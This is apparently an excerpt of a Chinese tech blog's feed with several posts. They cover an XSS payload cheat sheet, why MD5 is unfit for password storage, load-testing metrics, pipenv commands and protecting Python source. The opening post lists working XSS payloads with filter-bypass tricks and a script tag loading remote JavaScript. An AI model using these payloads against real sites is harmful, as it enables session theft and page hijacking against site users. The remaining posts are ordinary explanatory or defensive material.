<figure class="highlight javascript"><table><tr><td class="code"><pre><code class="hljs javascript">&lt;svg/onload=prompt(<span class="hljs-number">1</span>);&gt;      <span class="hljs-comment">// 短的xss_payload</span><br><br>&lt;q/oncut=open()&gt;                // 短的xss_payload<br><br>&lt;q/oncut=alert(1)&gt;        // 短的xss_payload<br><br>&lt;scrip&lt;script&gt;t&gt;alealertr(1)&lt;/scrip&lt;script&gt;t&gt;   // 过滤不严<br><br>&lt;ScriPt&gt;alErT(1)&lt;/sCripT&gt;     // 大小写绕过<br><br>&lt;script&gt;prompt(1);&lt;/script&gt;   // 过滤alert 情况下<br><br>&lt;script src="http://www.secbook.info/demo.js"&gt;&lt;/script&gt;<br><br>&lt;div onclick="alert('xss')"&gt;  // 点击它后会触发<br><br>&lt;div onmouseenter="alert('xss')"&gt;  // 用户鼠标移动到 div 上时会触发<br><br>&lt;iframesrc="javascript:alert(2)"&gt;<br><br>&lt;iframe/src="data:text&amp;sol;html;&amp;Tab;base64&amp;NewLine;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg=="&gt;<br><br>&lt;%0ascript&gt;alert(1);&lt;/script&gt;     // 语法 BUG<br></code></pre></td></tr></table></figure>

]]></content>
      <categories>
        <category>docs</category>
        <category>security</category>
        <category>index</category>
      </categories>
      <tags>
        <tag>security</tag>
      </tags>
  </entry>
  <entry>
    <title>为什么不能使用MD5来存储密码</title>
    <url>/2020/08/20/no-md5/</url>
    <content><![CDATA[<p>很多软件工程师都认为 MD5 是一种加密算法，然而这种观点其实是大错特错并且十分危险的，作为一个 1992 年第一次被公开的算法，到今天为止已经被发现了一些致命的漏洞，我们在生产环境的任何场景都不应该继续使用 MD5 算法，无论是对数据或者文件的内容进行校验还是用于所谓的『加密』。</p>
<a id="more"></a>

<p>这篇文章的主要目的是帮助读者理解 MD5 到底是什么，为什么我们不应该继续使用它，尤其是不应该使用它在数据库中存储密码，作者也希望使用过 MD5 或者明文存储密码的开发者们能够找到更加合理和安全的方式对用户的这些机密信息进行存储（这样也可以间接提高我在各类网站中存储密码的安全性）。</p>
<h3 id="概述"><a href="#概述" class="headerlink" title="概述"></a>概述</h3><p>为什么我们不能使用MD5来存储密码？≈为什么我们不能使用明文来存储密码？</p>
<p>使用明文来存储密码是一种看起来就不可行的方案，除非我们能够100%保证数据库中的密码不会被<b>任何人</b>访问到，不仅包含潜在的攻击者，还包括系统的开发者和管理员。</p>
<p>显然这是一个非常理想的情况，在实际的生产环境，我们不能抵御来自黑客的所有攻击，甚至也不能完全阻挡开发者和管理员的访问，因为我们总需要信任并授权一些人或者程序具有当前数据库的所有访问权限，这也就给攻击者留下了可以利用的漏洞，在抵御外部攻击时我们没有办法做到全面，只能尽可能提高攻击者的成本，这也就是使用<b> MD5 </b>或者其他方式存储密码的原因了。</p>
<p><img src="http://imgs.yrzdm.com/imgs/20200820/S1oRAQLLTiiJ.png?imageslim" alt="MD5 HASHED VALUES"></p>
<p>很多开发者对于 MD5 的作用和定义都有着非常大的误解，<strong>MD5 并不是一种加密算法，而是一种摘要算法</strong>，我们也可以叫它哈希函数，哈希函数可以将无限键值空间中的所有键都均匀地映射到一个指定大小的键值空间中；一个好的摘要算法能够帮助我们保证文件的完整性，避免攻击者的恶意篡改，但是加密算法或者加密的功能是 —— 通过某种特定的方式来编码消息或者信息，只有授权方可以访问原始数据，而没有被授权的人无法从密文中获取原文。</p>
<p>由于加密需要同时保证消息的秘密性和完整性，所以加密的过程使用一系列的算法，<strong>MD5</strong> 确实可以在加密的过程中作为哈希函数使用来保证消息的完整性，但是我们还需要另一个算法来保证消息的秘密性，所以由于 <strong>MD5</strong> 哈希的信息无法被还原，只依靠 MD5 是无法完成加密的。</p>
<blockquote>
<p>在任何场景下，我们都应该避免 <strong>MD5</strong> 的使用，可以选择更好的摘要算法替代 <strong>MD5</strong>，例如 <strong>SHA256、SHA512</strong>。</p>
</blockquote>
<p>聊了这么多对于 <strong>MD5</strong> 的误解，我们重新回到今天最开始的题目，『为什么 MD5 不能用于存储密码』，对于这个问题有一个最简单的答案，也就是 <strong>MD5 不够安全</strong>。当整个系统中的数据库被攻击者入侵之后，存储密码的摘要而不是明文是我们能够对所有用户的最大保护。需要知道的是，不够安全的不只是 <strong>MD5</strong>，任何摘要算法在存储密码这一场景下都不够安全，我们在这篇文章中就会哈希函数『为什么哈希函数不能用于存储密码』以及其他相关机制的安全性。</p>
<h3 id="设计"><a href="#设计" class="headerlink" title="设计"></a>设计</h3><p>既然我们已经对哈希函数和加密算法有了一些简单的了解，接下来的这一节中分析使用以下几种不同方式存储密码的安全性：</p>
<ul>
<li>使用哈希存储密码；</li>
<li>使用哈希加盐存储密码；</li>
<li>使用加密算法存储密码；</li>
<li>使用<strong>bcrypt</strong>存储密码；</li>
</ul>
<p>在分析的过程中可能会涉及到一些简单的密码学知识，也会谈到一些密码学历史上的一些事件，不过这对于理解不同方式的安全性不会造成太大的障碍。</p>
<h4 id="哈希"><a href="#哈希" class="headerlink" title="哈希"></a>哈希</h4><p>在今天，如果我们直接使用哈希来存储密码，那其实跟存储明文没有太多的区别，所有的攻击者在今天都已经掌握了彩虹表这个工具，我们可以将彩虹表理解成一张预计算的大表，其中存储着一些常见密码的哈希，当攻击者通过入侵拿到某些网站的数据库之后就可以通过预计算表中存储的映射来查找原始密码。</p>
<p><img src="http://imgs.yrzdm.com/imgs/20200820/iuFomF0fNM9Q.png?imageslim" alt="ATTACK AGINGST HASHED PASSWORD"></p>
<p>攻击者只需要将一些常见密码提前计算一些哈希就可以找到数据库中很多用于存储的密码，<strong>Wikipedia</strong> 上有一份关于最常见密码的 <a class="link"   href="https://en.wikipedia.org/wiki/List_of_the_most_common_passwords"  target="_blank" rel="noopener">列表<i class="fas fa-external-link-alt"></i></a>，在 2016 年的统计中发现使用情况最多的前 25 个密码占了调查总数的 10%，虽然这不能排除统计本身的不准确因素，但是也足以说明仅仅使用哈希的方式存储密码是不够安全的。</p>
<p><img src="http://imgs.yrzdm.com/imgs/20200820/FrMSawv6cXvC.png?imageslim" alt="**Top 25 most common passwords by year according to SplashData**"></p>
<h4 id="哈希加盐"><a href="#哈希加盐" class="headerlink" title="哈希加盐"></a>哈希加盐</h4><p>仅仅使用哈希来存储密码无法抵御来自彩虹表的攻击，在上世纪 70 到 80 年代，早期版本的 Unix 系统就在 <code>/etc/passwrd</code> 中存储加盐的哈希密码，密码加盐后的哈希与盐会被一起存储在 <code>/etc/passwd</code> 文件中，今天哈希加盐的策略与几十年前的也没有太多的不同，差异可能在于盐的生成和选择：</p>
<p><code>md5(salt,password),salt</code></p>
<p>加盐的方式主要还是为了增加攻击者的计算成本，当攻击者顺利拿到数据库中的数据时，由于每个密码都使用了随机的盐进行哈希，所以预先计算的彩虹表就没有办法立刻破译出哈希之前的原始数据，攻击者对每一个哈希都需要单独进行计算，这样能够增加了攻击者的成本，减少原始密码被大范围破译的可能性。</p>
<p><img src="http://imgs.yrzdm.com/imgs/20200820/E51TFSIfDT0v.png?imageslim" alt="attack against hashes of salted password"></p>
<p>在这种情况下，攻击者破解一个用户密码的成本其实就等于发现哈希碰撞的概率，因为攻击者其实不需要知道用户的密码是什么，他只需要找到一个值 <code>value</code>，这个值加盐后的哈希与密码加盐后的哈希完全一致就能登录用户的账号：</p>
<p><code>hash(salt,value)= hash(salt,password)</code></p>
<p>这种情况在密码学中叫做哈希碰撞，也就是两个不同值对应哈希相同，一个哈希函数或者摘要算法被找到哈希碰撞的概率决定了该算法的安全性，早在几十年前，我们就在 <strong>MD5</strong> 的设计中发现了缺陷并且在随后的发展中找到了低成本快速制造哈希碰撞的方法。</p>
<ol>
<li>1996 年 <a class="link"   href="https://www.semanticscholar.org/paper/The-Status-of-MD5-After-a-Recent-Attack-Dobbertin/c51288ac5d2a5b8f5c8d20e94fe999ea6379bc65"  target="_blank" rel="noopener">The Status of MD5 After a Recent Attack<i class="fas fa-external-link-alt"></i></a> —— 发现了 MD5 设计中的缺陷，但是并没有被认为是致命的缺点，密码学专家开始推荐使用其他的摘要算法；</li>
<li>2004 年 <a class="link"   href="http://merlot.usc.edu/csac-f06/papers/Wang05a.pdf"  target="_blank" rel="noopener">How to Break MD5 and Other Hash Functions<i class="fas fa-external-link-alt"></i></a> —— 发现了 MD5 摘要算法不能抵抗哈希碰撞，我们不能在数字安全领域使用 MD5 算法；</li>
<li>2006 年 <a class="link"   href="https://www.cs.colorado.edu/~jrblack/papers/md5e-full.pdf"  target="_blank" rel="noopener">A Study of the MD5 Attacks: Insights and Improvements<i class="fas fa-external-link-alt"></i></a> —— 创建一组具有相同 MD5 摘要的文件；</li>
<li>2008 年 <a class="link"   href="https://www.win.tue.nl/hashclash/rogue-ca/"  target="_blank" rel="noopener">MD5 considered harmful today<i class="fas fa-external-link-alt"></i></a> —— 创建伪造的 SSL 证书；</li>
<li>2010 年 <a class="link"   href="https://en.wikipedia.org/wiki/MD5#cite_note-31"  target="_blank" rel="noopener">MD5 vulnerable to collision attacks<i class="fas fa-external-link-alt"></i></a> —— CMU 软件工程机构认为 MD5 摘要算法已经在密码学上被破译并且不适合使用;</li>
<li>2012 年 <a class="link"   href="https://en.wikipedia.org/wiki/Flame_(malware)"  target="_blank" rel="noopener">Flame<i class="fas fa-external-link-alt"></i></a> —— 恶意软件利用了 MD5 的漏洞并伪造了微软的数字签名；</li>
</ol>
<p>从过往的历史来看，为了保证用户敏感信息的安全，我们不应该使用 MD5 加盐的方式来存储用户的密码，那么我们是否可以使用更加安全的摘要算法呢？不可以，哈希函数并不是专门用来设计存储用户密码的，所以它的计算可能相对来说还是比较快，攻击者今天可以<strong>通过 GPU 每秒执行上亿次的计算来破解用户的密码</strong>，所以不能使用这种方式存储用户的密码，感兴趣的读者可以了解一下用于恢复密码的工具 <a class="link"   href="https://hashcat.net/hashcat/"  target="_blank" rel="noopener">Hashcat<i class="fas fa-external-link-alt"></i></a>。</p>
<h4 id="加密"><a href="#加密" class="headerlink" title="加密"></a>加密</h4><p>既然今天的硬件已经能够很快地帮助攻击者破解用户的密码，那么我们能否通过其他的方式来取代哈希函数来存储密码呢？有些工程师想到使用加密算法来替代哈希函数，这样能够从源头上避免哈希碰撞的的发生，这种方式看起来非常美好，但是有一个致命的缺点，就是我们<strong>如何存储用于加密密码的秘钥</strong>。</p>
<p>既然存储密码的仓库能被泄露，那么用于存储秘钥的服务也可能会被攻击，我们永远都没有办法保证我们的数据库和服务器是安全的，一旦秘钥被攻击者获取，他们就可以轻而易举地恢复用户的密码，因为核对用户密码的过程需要在内存对密码进行解密，这时明文的密码就可能暴露在内存中，依然有导致用户密码泄露的风险。</p>
<p><img src="http://imgs.yrzdm.com/imgs/20200820/3ng2vFd5TXu0.png?imageslim" alt="encrypted password"></p>
<p>使用加密的方式存储密码相比于哈希加盐的方式，在一些安全意识和能力较差的公司和网站反而更容易导致密码的泄露和安全事故。</p>
<h4 id="bcrypt"><a href="#bcrypt" class="headerlink" title="bcrypt"></a>bcrypt</h4><p>哈希加盐的方式确实能够增加攻击者的成本，但是今天来看还远远不够，我们需要一种更加安全的方式来存储用户的密码，这也就是今天被广泛使用的 <code>bcrypt</code>，使用 <code>bcrypt</code> 相比于直接使用哈希加盐是一种更加安全的方式，也是我们目前推荐使用的方法，为了增加攻击者的成本，<code>bcrypt</code> 引入了计算成本这一可以调节的参数，能够调节执行 <code>bcrypt</code> 函数的成本。</p>
<p><img src="http://imgs.yrzdm.com/imgs/20200820/fnx3GUgEwN83.png?imageslim" alt="attacker cost time"></p>
<p>当我们将验证用户密码的成本提高几个数量级时，攻击者的成本其实也相应的提升了几个数量级，只要我们让攻击者的攻击成本大于硬件的限制，同时保证正常请求的耗时在合理范围内，我们就能够保证用户密码的相对安全。</p>
<blockquote>
<p>“<code>bcrypt</code> was designed for password hashing hence it is a slow algorithm. This is good for password hashing as it reduces the number of passwords by second an attacker could hash when crafting a dictionary attack. “</p>
</blockquote>
<p><code>bcrypt</code> 这一算法就是为哈希密码而专门设计的，所以它是一个执行相对较慢的算法，这也就能够减少攻击者每秒能够处理的密码数量，从而避免攻击者的字典攻击。</p>
<figure class="highlight c"><table><tr><td class="code"><pre><code class="hljs c"><span class="hljs-function">func <span class="hljs-title">main</span><span class="hljs-params">()</span> </span>&#123;<br>	<span class="hljs-keyword">for</span> cost := <span class="hljs-number">10</span>; cost &lt;= <span class="hljs-number">15</span>; cost++ &#123;<br>		startedAt := time.Now()<br>		bcrypt.GenerateFromPassword([]<span class="hljs-keyword">byte</span>(<span class="hljs-string">"password"</span>), cost)<br>		duration := time.Since(startedAt)<br>		fmt.Printf(<span class="hljs-string">"cost: %d, duration: %v\n"</span>, cost, duration)<br>	&#125;<br>&#125;<br><br>$ go <span class="hljs-built_in">run</span> bcrypt.go<br>cost: <span class="hljs-number">10</span>, duration: <span class="hljs-number">51.483401</span>ms<br>cost: <span class="hljs-number">11</span>, duration: <span class="hljs-number">100.639251</span>ms<br>cost: <span class="hljs-number">12</span>, duration: <span class="hljs-number">202.788492</span>ms<br>cost: <span class="hljs-number">13</span>, duration: <span class="hljs-number">399.552731</span>ms<br>cost: <span class="hljs-number">14</span>, duration: <span class="hljs-number">801.041128</span>ms<br>cost: <span class="hljs-number">15</span>, duration: <span class="hljs-number">1.579692689</span>s<br></code></pre></td></tr></table></figure>

<p>运行上述 <a class="link"   href="https://play.golang.org/p/uCNm-qckWxQ"  target="_blank" rel="noopener">代码片段<i class="fas fa-external-link-alt"></i></a> 时就能发现 <code>cost</code> 和运行时间的关系，算法运行的成本每 <code>+1</code>，当前算法最终的耗时就会翻一倍，这与 <code>bcrypt</code> 算法的实现原理有关，你可以在 <a class="link"   href="https://en.wikipedia.org/wiki/Bcrypt"  target="_blank" rel="noopener">Wikipedia<i class="fas fa-external-link-alt"></i></a> 上找到算法执行过程的伪代码，这可以帮助我们快速理解算法背后的设计。</p>
<p>如果硬件的发展使攻击者能够对使用 <code>bcrypt</code> 存储的密码进行攻击时，我们就可以直接提升 <code>bcrypt</code> 算法的 <code>cost</code> 参数以增加攻击者的成本，这也是 <code>bcrypt</code> 设计上的精妙之处，所以使用 <code>bcrypt</code> 是一种在存储用户密码时比较安全的方式。</p>
<h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><p>这篇文章分析的问题其实是 —— 当数据库被攻击者获取时，我们怎么能够保证用户的密码很难被攻击者『破译』，作为保护用户机密信息的最后手段，选择安全并且合适的方法至关重要。攻击者能否破解用户的密码一般取决于两个条件：</p>
<ul>
<li>使用的加密算法是否足够安全，使用暴力破解的方式时间成本极高；</li>
<li>足够好的硬件支持，能够支持大规模地高速计算哈希；</li>
</ul>
<p>抵御攻击者的攻击的方式其实就是提高单次算法运行的成本，当我们将用户的验证耗时从 <code>0.1ms</code> 提升到了 <code>500ms</code>，攻击者的计算成本也就提升了 5000 倍，这种结果就是之前需要几小时破解的密码现在需要几年的时间。</p>
<p>不论如何，<strong>使用 MD5、MD5 加盐或者其他哈希的方式来存储密码都是不安全的</strong>，希望各位工程师能够避免在这样的场景下使用 MD5，在其他必须使用哈希函数的场景下也建议使用其他算法代替，例如 SHA-512 等。</p>
<p>当然，如何保证用户机密信息的安全不只是一个密码学问题，它还是一个工程问题，任何工程开发商的疏漏都可能导致安全事故，所以我们作为开发者在与用于敏感信息打交道时也应该小心谨慎、怀有敬畏之心。到最后，我们还是来看一些比较开放的相关问题，有兴趣的读者可以仔细思考一下下面的问题：</p>
<ol>
<li>使用 GPU 每秒可以计算多少 MD5 哈希（数量级）？能够在多长时间破解使用 MD5 加盐存储的密码？</li>
<li>假设计算一次哈希耗时 <code>500ms</code>，破解 <code>bcrypt</code> 算法生成的哈希需要多长时间？</li>
<li>MD5 哈希 <code>23cdc18507b52418db7740cbb5543e54</code> 对应的原文可能是？谈谈你使用的工具和破译的过程。</li>
</ol>
<h3 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h3><ul>
<li><a class="link"   href="https://security.stackexchange.com/questions/61489/is-salted-md5-or-salted-sha-considered-secure"  target="_blank" rel="noopener">Is salted MD5 or salted SHA considered secure?<i class="fas fa-external-link-alt"></i></a></li>
<li><a class="link"   href="https://security.stackexchange.com/questions/211/how-to-securely-hash-passwords?noredirect=1&lq=1"  target="_blank" rel="noopener">How to securely hash passwords?<i class="fas fa-external-link-alt"></i></a></li>
<li><a class="link"   href="https://en.wikipedia.org/wiki/Rainbow_table"  target="_blank" rel="noopener">Rainbow table<i class="fas fa-external-link-alt"></i></a></li>
<li><a class="link"   href="https://tools.ietf.org/html/rfc1321"  target="_blank" rel="noopener">The MD5 Message-Digest Algorithm · RFC1321<i class="fas fa-external-link-alt"></i></a></li>
<li><a class="link"   href="https://en.wikipedia.org/wiki/Collision_(computer_science)"  target="_blank" rel="noopener">Collision (computer science)<i class="fas fa-external-link-alt"></i></a></li>
<li><a class="link"   href="https://www.sitepoint.com/why-you-should-use-bcrypt-to-hash-stored-passwords/"  target="_blank" rel="noopener">Why You Should Use Bcrypt to Hash Stored Passwords<i class="fas fa-external-link-alt"></i></a></li>
<li><a class="link"   href="https://stackoverflow.com/questions/6832445/how-can-bcrypt-have-built-in-salts"  target="_blank" rel="noopener">How can bcrypt have built-in salts?<i class="fas fa-external-link-alt"></i></a></li>
<li><a class="link"   href="https://en.wikipedia.org/wiki/Bcrypt"  target="_blank" rel="noopener">bcrypt<i class="fas fa-external-link-alt"></i></a></li>
</ul>
]]></content>
      <categories>
        <category>docs</category>
        <category>security</category>
        <category>index</category>
      </categories>
      <tags>
        <tag>md5,bcrypt,hash,sha256,sha512,密码学,哈希算法,security</tag>
      </tags>
  </entry>
  <entry>
    <title>性能压力测试的学习</title>
    <url>/2020/04/22/performance-pressure-test/</url>
    <content><![CDATA[<p><img src="http://imgs.yrzdm.com/imgs/20200423/AB4ppWmDJHij.png?imageslim" alt="mark"></p>
<blockquote>
<ul>
<li>一个新的技术引入之前，需要做好评估，压测只是其中一个阶段。</br></li>
<li>某些中间件的版本升级，都需要进行简单的压测，这样可以排除外部依赖的性能瓶颈。</br></li>
<li>参数的调整很可能带来一些意想不到的问题，比如 JVM 调整了垃圾回收策略、TCP 改为了 UDP 等等，都需要进行回归压测。<strong>通常，不会有问题；意外，总发生在不经意间</strong>。</li>
</ul>
</blockquote>
<a id="more"></a>


<h3 id="压力测试指标💯"><a href="#压力测试指标💯" class="headerlink" title="压力测试指标💯"></a>压力测试指标💯</h3><p><strong>RQS</strong></p>
<p>每秒查询率，QPS 是对一个特定的查询服务器在规定时间内所处理流量多少的衡量标准。 单位是request/s。</p>
<p>一般压测工具都会有这个指标，简单明了，<strong>每秒处理的请求数量</strong>。</p>
<figure class="highlight yaml"><table><tr><td class="code"><pre><code class="hljs yaml"><span class="hljs-number">6796</span> <span class="hljs-string">requests</span> <span class="hljs-string">in</span> <span class="hljs-number">10.</span><span class="hljs-string">05s,</span> <span class="hljs-number">783.</span><span class="hljs-string">13KB</span> <span class="hljs-string">read</span><br><span class="hljs-attr">Requests/sec:</span>    <span class="hljs-number">676.21</span><br><span class="hljs-attr">Transfer/sec:</span>     <span class="hljs-number">77.</span><span class="hljs-string">92KB</span><br></code></pre></td></tr></table></figure>
<p>当前每秒请求数 676.21</p>
<p><strong>RT</strong></p>
<p>响应时间，这个指标比较多，比如，最小响应时间、平均响应时间、最大响应时间等等，详细指标还有P50、P95、P99 等等</p>
<figure class="highlight angelscript"><table><tr><td class="code"><pre><code class="hljs angelscript">Latency Distribution<br>     <span class="hljs-number">50</span>%   <span class="hljs-number">23.03</span>ms<br>     <span class="hljs-number">75</span>%   <span class="hljs-number">24.01</span>ms<br>     <span class="hljs-number">90</span>%   <span class="hljs-number">25.38</span>ms<br>     <span class="hljs-number">99</span>%   <span class="hljs-number">32.33</span>ms<br></code></pre></td></tr></table></figure>
<p>比如，50%的请求在23.03ms内返回响应。</p>
<p><strong>VU</strong></p>
<p>虚拟用户，系统模拟并发的用户。主要目的是最大程度的模拟用户操作，从而得到较为准确的压测数据，这个参数一般由压测人员制定，梯度递增。</p>
<figure class="highlight angelscript"><table><tr><td class="code"><pre><code class="hljs angelscript">阶段<span class="hljs-number">1</span>: <span class="hljs-number">50</span>虚拟用户，压测<span class="hljs-number">1</span>小时；<br>阶段<span class="hljs-number">2</span>: <span class="hljs-number">100</span>虚拟用户，压测<span class="hljs-number">1</span>小时；<br>阶段<span class="hljs-number">3</span>: <span class="hljs-number">150</span>虚拟用户，压测<span class="hljs-number">1</span>小时；<br>阶段<span class="hljs-number">4</span>: <span class="hljs-number">200</span>虚拟用户，压测<span class="hljs-number">1</span>小时；<br>阶段<span class="hljs-number">5</span>: <span class="hljs-number">250</span>虚拟用户，压测<span class="hljs-number">1</span>小时；<br></code></pre></td></tr></table></figure>
<p>一般在为达到最佳负载的情况下，QPS 会随着VU的数量等比递增。 比如，50VU下的QPS是1000，那么100VU下的QPS会接近2000 。</p>
<p><strong>操作系统负载，外部系统等</strong><br>压测期间，还需要关注下服务器的负载、网络 IO 情况，如果是 Java 工程，观察 JVM 也是很有必要的。如果涉及到外围系统，比如 Mysql、Redis 等，那么也要纳入观察范围。</p>
<h3 id="指标的观察"><a href="#指标的观察" class="headerlink" title="指标的观察"></a>指标的观察</h3><p><strong>运行良好的特征</strong></p>
<p>测试期间响应时间呈平稳趋势；请求速率遵循与虚拟用户相同的斜坡（如果 VU 增加，则请求速率也会增加）；   </p>
<p><strong>达到最大吞吐量的特征</strong></p>
<p>随着虚拟用户数量的增加，活动的正在进行中的请求数量继续增加，而 QPS（完成的请求）却趋于平稳（甚至下降）。此时，系统过载，从而导致更长的响应时间。HTTP 失败率增加  </p>
<p><strong>性能问题/瓶颈的特征</strong></p>
<p>测试期间响应时间显著增加；响应时间显著增加，然后迅速触底并保持平稳（HTTP 被降级了）；QPS 不会随着 VU 的增加而增加，并且响应时间开始增加，疑似达到最大吞吐量；  </p>
<p><strong>发生故障的特征</strong></p>
<p>高 HTTP 错误率低 QPS 下的系统高负载</p>
<p><strong>图例</strong></p>
<p><img src="https://imgkr.cn-bj.ufileos.com/b775542a-d89d-4de9-9343-82ba942c571f.png" alt=""><br>可视化的图表可以更加直观的分析</p>
<p><strong>请求速率遵循与虚拟用户相同的斜坡</strong><br><img src="https://imgkr.cn-bj.ufileos.com/ad11b54a-4a96-4903-969d-f9dfa3f27964.png" alt=""><br>通过这个图，可以看出，在负压不大的情况下，这两个图表是有相同的斜坡的。 而QPS在 12:18时突降，观察 JVM 可以知道，是出现了FGC。</p>
<p><strong>测试期间响应时间呈平稳趋势</strong><br><img src="https://imgkr.cn-bj.ufileos.com/d3a3013e-ab87-43e7-b4c2-846a0a1a5c5f.png" alt=""></p>
<p>因为是外网压测，我们允许一定区间的网络波动，如上图的作图，观察P90、P95两条曲线，大致在我们预测的范围之内。右图的网格也显示出，大部分请求耗时集中在256ms到521ms之间，整体上散射保持一致。</p>
<h3 id="压测工具"><a href="#压测工具" class="headerlink" title="压测工具"></a>压测工具</h3><p>不同的压测工具的优缺点是不同的，设置压测出来的指标也会有较大差异。我们在执行压测时，更应该发现压测中出现的各种各样的问题。<br>比如，我用<strong>jmeter</strong>压测 <strong>30s</strong> 的<strong>QPS</strong>是 <strong>5000</strong>，而用<strong>wrk</strong>的<strong>QPS</strong>可能只有 <strong>1000</strong>，这种情况都是有具体原因的。<strong>jmeter在连接数还没有达到最大值的时候，就已经开始计算 QPS 了，导致短时间压测的 QPS 偏大，随着压测时间增长，QPS会降低。</strong></p>
]]></content>
      <categories>
        <category>docs</category>
        <category>test</category>
        <category>collection</category>
        <category>index</category>
      </categories>
      <tags>
        <tag>Test</tag>
      </tags>
  </entry>
  <entry>
    <title>pipenv的使用整理</title>
    <url>/2021/02/10/pipenv/</url>
    <content><![CDATA[<p>pipenv 相当于virtualenv和pip的合体，使用起来更加方便。通过整合pip + virtualenv + Pipfile 能够自动处理好包的依赖问题和虚拟环境的问题。</p>
<h3 id="安全，升级，卸载pipenv"><a href="#安全，升级，卸载pipenv" class="headerlink" title="安全，升级，卸载pipenv"></a>安全，升级，卸载pipenv</h3><ol>
<li><p>安装</p>
<p><code>pip install pipenv</code></p>
</li>
<li><p>升级</p>
<p><code>pip install --upgrade pipenv</code></p>
</li>
<li><p>卸载</p>
<p><code>pip uninstall pipenv</code></p>
<p>这个没什么好讲，和普通的pip安装卸载方式一致。</p>
</li>
</ol>
<h3 id="使用pipenv"><a href="#使用pipenv" class="headerlink" title="使用pipenv"></a>使用pipenv</h3><ol>
<li><p>创建虚拟环境</p>
<p><code>pipenv install</code></p>
<p><code>pipenv install --three</code> 使用当前系统中Python3创建环境</p>
<p><code>pipenv install --two</code> 使用当前系统中Python2创建环境</p>
<p><code>pipenv --python 3.6</code> 指定使用某个版本的Python创建环境</p>
<p><code>pipenv --python path</code> 使用指定路径的Python创建环境</p>
</li>
<li><p>激活并进入虚拟环境</p>
<p><code>pipenv shell</code></p>
</li>
<li><p>运行python项目</p>
<p><code>python xx.py</code></p>
<p><code>pipenv run python xxx.py</code></p>
</li>
<li><p>在虚拟环境中安装模块，并加入到Pipfile。可以不进入虚拟环境，直接在项目目录下面使用pipenv安装。</p>
<p><code>pipenv install requests</code></p>
<p><code>pipenv install django==1.11</code></p>
<p><code>pipenv uninstall requests</code></p>
</li>
<li><p>退出虚拟环境。</p>
<p><code>exit</code></p>
</li>
<li><p>查看项目所在路径。</p>
<p><code>pipenv --where</code></p>
</li>
<li><p>查看虚拟环境文件所在路径</p>
<p><code>pipenv --venv</code></p>
</li>
<li><p>查看虚拟环境内安装的modules以及modules之间的依赖关系</p>
<p><code>pipenv grapg</code></p>
</li>
<li><p>查找虚拟环境所有安装包</p>
<p><code>pip list</code></p>
</li>
<li><p>导出虚拟环境内所有依赖的modules</p>
<p><code>pip freeze &gt; requirements.txt</code></p>
</li>
<li><p>检查包的安全性</p>
<p><code>pipenv check</code></p>
</li>
<li><p>删除当前虚拟环境。</p>
<p><code>pipenv --rm</code></p>
</li>
</ol>
]]></content>
      <tags>
        <tag>python</tag>
      </tags>
  </entry>
  <entry>
    <title>关于保护python代码的思考</title>
    <url>/2020/10/28/protect-python-sourcecode/</url>
    <content><![CDATA[<p>由于Python的动态特性和开源特点，导致Python代码很难做到很好的加密。社区中的一些声音认为这样的限制是事实，应该通过法律手段而不是加密源码达到商业保护的目的；而还有一些声音则是不论如何都希望能有一种手段来加密。于是乎，人们想出了各种加密或混淆的方案，来达到保护源码的目的。</p>
<a id="more"></a>
<p>常见的源码保护手段有如下几种：</p>
<ul>
<li>发行pyc文件</li>
<li>代码混肴</li>
<li>使用py2exe</li>
<li>使用Cython</li>
</ul>
<h4 id="发行pyc文件"><a href="#发行pyc文件" class="headerlink" title="发行pyc文件"></a>发行pyc文件</h4><h5 id="思路"><a href="#思路" class="headerlink" title="思路"></a>思路</h5><p>Python解释器在执行的过程中会首先生成pyc文件，然后解释执行pyc文件中的内容。当然python解释器也能够直接执行pyc文件。而pyc文件时二进制文件，无法直接看出源码内容。如果发行代码到客户端环境时都是pyc文件而非py文件，那岂不是达到保护源码的目的。</p>
<h5 id="方法"><a href="#方法" class="headerlink" title="方法"></a>方法</h5><p>python标准库中提供了一个名为compileall的库，可以轻松编译。</p>
<p><code>python -m compileall 目录名</code></p>
<p>然后删除执行目录下的所有py文件</p>
<h5 id="优点"><a href="#优点" class="headerlink" title="优点"></a>优点</h5><ul>
<li>简单方便，提高了一点源码破解的门槛</li>
<li>平台兼容性好</li>
</ul>
<h5 id="不足"><a href="#不足" class="headerlink" title="不足"></a>不足</h5><ul>
<li><p>解释器兼容性差，pyc只能在特定版本的解释器上运行</p>
</li>
<li><p>有现成的反编译工具，破解成本低</p>
</li>
</ul>
<blockquote>
<p>python-uncompyle6就是这样一款反编译工具，效果出众。</p>
<p><code>uncompyle6 *compiled-python-file-pyc-or-pyo*</code></p>
</blockquote>
<h4 id="代码混淆"><a href="#代码混淆" class="headerlink" title="代码混淆"></a>代码混淆</h4><h5 id="思路-1"><a href="#思路-1" class="headerlink" title="思路"></a>思路</h5><p>通过一系列的转换，让代码不容易阅读，移除注释和文档，改变缩进，在空白行插入无效代码。</p>
<h5 id="方法1-使用oxyry进行混肴"><a href="#方法1-使用oxyry进行混肴" class="headerlink" title="方法1: 使用oxyry进行混肴"></a>方法1: 使用oxyry进行混肴</h5><p><a class="link"   href="http://pyob.oxyry.com"  target="_blank" rel="noopener">http://pyob.oxyry.com<i class="fas fa-external-link-alt"></i></a> 是一个在线混淆Python代码的网站，使用它可以方便的进行混淆。</p>
<h5 id="方法2：使用pyobfuscate库进行混淆"><a href="#方法2：使用pyobfuscate库进行混淆" class="headerlink" title="方法2：使用pyobfuscate库进行混淆"></a>方法2：使用pyobfuscate库进行混淆</h5><p>pyobfuscate算是一个颇具有年头的Python代码混淆库了，但是却“老当益壮” 对比oxyry的混淆方式，增加了无效的代码行。</p>
<h5 id="优点-1"><a href="#优点-1" class="headerlink" title="优点"></a>优点</h5><ul>
<li>简单方便，提高了一点源码破解的门槛</li>
<li>兼容性好</li>
</ul>
<h5 id="不足-1"><a href="#不足-1" class="headerlink" title="不足"></a>不足</h5><ul>
<li>只能对单个文件混淆，无法做到多个呼啸有联系的源码文件的联动混淆</li>
<li>代码结构未发生变化，也能获取字节码，破解难度不大</li>
</ul>
